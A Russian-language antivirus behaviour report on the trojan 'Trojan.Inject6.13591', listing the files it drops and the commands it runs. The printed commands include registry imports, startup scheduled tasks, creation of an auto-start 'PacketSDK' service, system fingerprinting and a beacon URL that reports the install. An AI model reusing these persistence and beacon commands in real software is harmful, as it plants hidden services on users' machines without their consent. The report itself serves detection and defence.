Trojan.Inject6.13591

Техническая информация

Изменения в файловой системе

Создает следующие файлы

%TEMP%\nsjc3ca.tmp
%TEMP%\<Имя файла>_patch-run.exe
%TEMP%\nsncec6.tmp
<Текущая директория>\game.exe
%TEMP%\temp_cleanup.ico
%TEMP%\tidy.bat
%ALLUSERSPROFILE%\features\x\icon.png
%ALLUSERSPROFILE%\features\x\icon2.png
%ALLUSERSPROFILE%\features\x\interface.html
%ALLUSERSPROFILE%\features\x\interface.js
%ALLUSERSPROFILE%\features\x\manifest.json
%ALLUSERSPROFILE%\features\x\script.js
%ALLUSERSPROFILE%\features\x\security.js
%ALLUSERSPROFILE%\features\x\web_accessible_resource.js
%ALLUSERSPROFILE%\features\x\_locales\en\messages.json
%ALLUSERSPROFILE%\updateswin\update.tmp
%ALLUSERSPROFILE%\updateswin\updater.tmp
%ALLUSERSPROFILE%\diagnosticsnet\configuration.tmp
%ALLUSERSPROFILE%\diagnosticsnet\update.tmp
%ALLUSERSPROFILE%\diagnosticsnet\win32\dll_load_win32.obj
%ALLUSERSPROFILE%\diagnosticsnet\win32\network_agent.dll
%ALLUSERSPROFILE%\diagnosticsnet\win64\dll_load_win64.obj
%ALLUSERSPROFILE%\diagnosticsnet\win64\network_agent.dll
%ALLUSERSPROFILE%\sdkwin\update.tmp
%ALLUSERSPROFILE%\sdkwin\updater.tmp
%ALLUSERSPROFILE%\sdkwin\c#(.net)\packetsdk.xml
%ALLUSERSPROFILE%\sdkwin\c#(.net)\4.5\packetsdk.dll
%ALLUSERSPROFILE%\sdkwin\c#(.net)\9.0\packetsdk.dll
%ALLUSERSPROFILE%\sdkwin\bin\win32\packet_sdk.exe
%ALLUSERSPROFILE%\sdkwin\bin\win64\packet_sdk.exe
%ALLUSERSPROFILE%\winpackages\update.tmp
%ALLUSERSPROFILE%\winpackages\updater.tmp
%TEMP%\nspec71.tmp\system.dll
nul
%ALLUSERSPROFILE%\diagnosticsnet\configuration.ps1
%ALLUSERSPROFILE%\winpackages\updater.ps1
%ALLUSERSPROFILE%\sdkwin\update.ps1

Удаляет файлы, которые сам же создал

%TEMP%\nspec71.tmp\system.dll

Перемещает следующие файлы

<Текущая директория>\game.exe в <Текущая директория>\game.exe
%ALLUSERSPROFILE%\updateswin\updater.tmp в %ALLUSERSPROFILE%\updateswin\updater.ps1
%ALLUSERSPROFILE%\diagnosticsnet\configuration.tmp в %ALLUSERSPROFILE%\diagnosticsnet\configuration.ps1
%ALLUSERSPROFILE%\winpackages\updater.tmp в %ALLUSERSPROFILE%\winpackages\updater.ps1
%ALLUSERSPROFILE%\diagnosticsnet\update.tmp в %ALLUSERSPROFILE%\diagnosticsnet\update.vbs
%ALLUSERSPROFILE%\sdkwin\updater.tmp в %ALLUSERSPROFILE%\sdkwin\updater.vbs
%ALLUSERSPROFILE%\updateswin\update.tmp в %ALLUSERSPROFILE%\updateswin\update.ps1
%ALLUSERSPROFILE%\winpackages\update.tmp в %ALLUSERSPROFILE%\winpackages\update.vbs
%ALLUSERSPROFILE%\sdkwin\update.tmp в %ALLUSERSPROFILE%\sdkwin\update.ps1

Другое

Создает и запускает на исполнение

'%TEMP%\<Имя файла>_patch-run.exe' <Текущая директория>
'<Текущая директория>\game.exe'
'%ALLUSERSPROFILE%\sdkwin\bin\win64\packet_sdk.exe' -appkey=1eJctR5LdYdNRycM

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\tidy.bat" "%TEMP%\<Имя файла>_patch-run.exe" "DefaultSearchProvider" "HKEY_LOCAL_MACHINE\SOFTWARE\\" "ADHWWZ" "S13SPB2Z_2025-11" "<Имя файла>_patch-run.exe" "Windows Registry Editor... (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c powershell -NoProfile -Command "$set = 'abcdefghijklmnopqrstuvwxyz'; -join ((1..30 | ForEach-Object { $set[(Get-Random -Maximum $set.Length)] }))"
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "$set = 'abcdefghijklmnopqrstuvwxyz'; -join ((1..30 | ForEach-Object { $set[(Get-Random -Maximum $set.Length)] }))"
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "(Get-Content -LiteralPath \"%TEMP%\temp_cleanup.ico\").Replace('{HKS}', '"HKEY_LOCAL_MACHINE\SOFTWARE\\"').Replace('{WRE}', '"Windows Registry Editor"') | Set-Content -LiteralPath \"%...
'%WINDIR%\syswow64\reg.exe' import %TEMP%\temp_cleanup.ico /reg:64
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "foreach ($item in @(\"$env:PROGRAMDATA\DiagnosticsNET\configuration.ps1\", \"$env:PROGRAMDATA\DiagnosticsNET\update.vbs\", \"$env:...
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "$paths = @{ \"$env:PROGRAMDATA\Features\x\" = 'isrcknwancvxryernigwdzvwhtpmmrx'; \"$env:PROGRAMDATA\DiagnosticsNET\configuration.tmp\" = 'configuration.ps1'; \"$env:P...
'%WINDIR%\syswow64\cmd.exe' /c powershell -command "gp 'HKCU:\Control Panel\International\Geo\' | select -exp Name"
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command "gp 'HKCU:\Control Panel\International\Geo\' | select -exp Name"
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "(Get-Content -LiteralPath \"$env:PROGRAMDATA\DiagnosticsNET\configuration.ps1\") -replace '{flPQ}', 'a62h81hab8329ja' -replace '{testD1}', 'DiagnosticsNET\win64\network_agent.dll' -re...
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' $triggerAtStartup = New-scheduledtaskTrigger -AtStartup; $triggerAtLogon = New-scheduledtaskTrigger -AtLogon; $dt = (get-date).AddDays(30).AddMinutes(3); $stt = New-scheduledtaskTrigger -Repeti...
'%WINDIR%\syswow64\sc.exe' create PacketSDK binPath= "\"%ALLUSERSPROFILE%\SdkWin\bin\win64\packet_sdk.exe\" -appkey=1eJctR5LdYdNRycM"
'%WINDIR%\syswow64\sc.exe' config PacketSDK start= AUTO
'%WINDIR%\syswow64\net.exe' start PacketSDK
'%WINDIR%\syswow64\net1.exe' start PacketSDK
'<SYSTEM32>\wbem\wmic.exe' csproduct get UUID (со скрытым окном)
'%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --single-argument https://getadblocktag.com/v1/s/t/info?a=ins&sub=ADHWWZX&n=<Имя файла>&bucket=S13SPB2Z_2025-11X&u=9isrcknwancvxryernigwdzvwhtpmmrx